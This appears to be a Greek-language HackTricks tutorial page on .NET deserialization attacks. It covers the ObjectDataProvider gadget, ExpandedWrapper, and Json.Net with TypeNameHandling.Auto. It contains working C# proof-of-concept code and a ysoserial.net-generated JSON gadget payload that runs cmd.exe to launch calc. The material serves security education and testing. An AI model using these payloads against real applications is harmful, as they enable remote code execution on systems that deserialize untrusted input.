hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

188 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Αυτή η ανάρτηση είναι αφιερωμένη στο **να κατανοήσουμε πώς εκμεταλλεύεται το gadget ObjectDataProvider** για να αποκτήσουμε RCE και **πώς** οι βιβλιοθήκες Serialization **Json.Net και xmlSerializer μπορούν να κακοποιηθούν** με αυτό το gadget.
## ObjectDataProvider Gadget
Από την τεκμηρίωση: _η κλάση ObjectDataProvider περιτυλίγει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως πηγή δέσμευσης_.\
Ναι, είναι μια περίεργη εξήγηση, ας δούμε λοιπόν τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να **περιτυλίξετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετους παραμέτρους,** και στη συνέχεια **να χρησιμοποιήσετε το MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου που δηλώνεται χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
Επομένως, το αυθαίρετο **αντικείμενο** θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους ενώ αποδομείται.**
### **Πώς είναι αυτό δυνατό**
Ο **χώρος ονομάτων System.Windows.Data**, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.
Χρησιμοποιώντας [**dnSpy**](https://github.com/0xd4d/dnSpy) μπορείτε να **επιθεωρήσετε τον κώδικα** της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Όνομα μεθόδου**
![](<../../images/image (427).png>)
Όπως μπορείτε να παρατηρήσετε, όταν οριστεί το `MethodName`, καλείται το `base.Refresh()`, ας ρίξουμε μια ματιά σε τι κάνει:
![](<../../images/image (319).png>)
Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει το `this.BeginQuery()`. Το `BeginQuery` έχει παρακαμφθεί από το `ObjectDataProvider` και αυτό είναι που κάνει:
![](<../../images/image (345).png>)
Σημειώστε ότι στο τέλος του κώδικα καλεί το `this.QueryWorke(null)`. Ας δούμε τι εκτελεί αυτό:
![](<../../images/image (596).png>)
Σημειώστε ότι αυτό δεν είναι ο πλήρης κώδικας της συνάρτησης `QueryWorker`, αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας **καλεί `this.InvokeMethodOnInstance(out ex);`** αυτή είναι η γραμμή όπου **καλείται η μέθοδος**.
Αν θέλετε να ελέγξετε ότι απλά ορίζοντας το _**MethodName**_** θα εκτελείται**, μπορείτε να εκτελέσετε αυτόν τον κώδικα:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Σημειώστε ότι πρέπει να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ προκειμένου να φορτώσετε `System.Windows.Data`
## ExpandedWrapper
Χρησιμοποιώντας την προηγούμενη εκμετάλλευση, θα υπάρχουν περιπτώσεις όπου το **αντικείμενο** θα **αποσυμπιεστεί ως** μια _**ObjectDataProvider**_ παρουσία (για παράδειγμα στην ευπάθεια DotNetNuke, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποσυμπιέστηκε χρησιμοποιώντας `GetType`). Στη συνέχεια, θα έχει **καμία γνώση του τύπου του αντικειμένου που είναι περιτυλιγμένο** στην _ObjectDataProvider_ παρουσία (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με την ευπάθεια DotNetNuke εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Αυτή η κλάση επιτρέπει να **καθορίσετε τους τύπους αντικειμένων των αντικειμένων που είναι ενσωματωμένα** σε μια δεδομένη παρουσία. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να ενσωματώσει ένα αντικείμενο πηγής (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **περιτυλίξουμε το _ObjectDataProvider_** μέσα σε μια **_ExpandedWrapper_** παρουσία και **όταν αποσυμπιεστεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **λειτουργία** που υποδεικνύεται στο _**MethodName**_.
Μπορείτε να ελέγξετε αυτόν τον περιτυλιγμένο με τον ακόλουθο κώδικα:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
Στη [επίσημη ιστοσελίδα](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να **Σειριοποιήσετε και αποσειριοποιήσετε οποιοδήποτε αντικείμενο .NET με τον ισχυρό σειριοποιητή JSON του Json.NET**. Έτσι, αν μπορούσαμε να **αποσειριοποιήσουμε το gadget ObjectDataProvider**, θα μπορούσαμε να προκαλέσουμε μια **RCE** απλά αποσειριοποιώντας ένα αντικείμενο.
### Παράδειγμα Json.Net
Πρώτα απ' όλα, ας δούμε ένα παράδειγμα για το πώς να **σειριοποιήσετε/αποσειριοποιήσετε** ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Κατάχρηση του Json.Net
Χρησιμοποιώντας [ysoserial.net](https://github.com/pwntester/ysoserial.net) δημιούργησα την εκμετάλλευση:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Σε αυτόν τον κώδικα μπορείτε να **δοκιμάσετε την εκμετάλλευση**, απλώς εκτελέστε τον και θα δείτε ότι εκτελείται μια αριθμομηχανή:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
{{#include ../../banners/hacktricks-training.md}}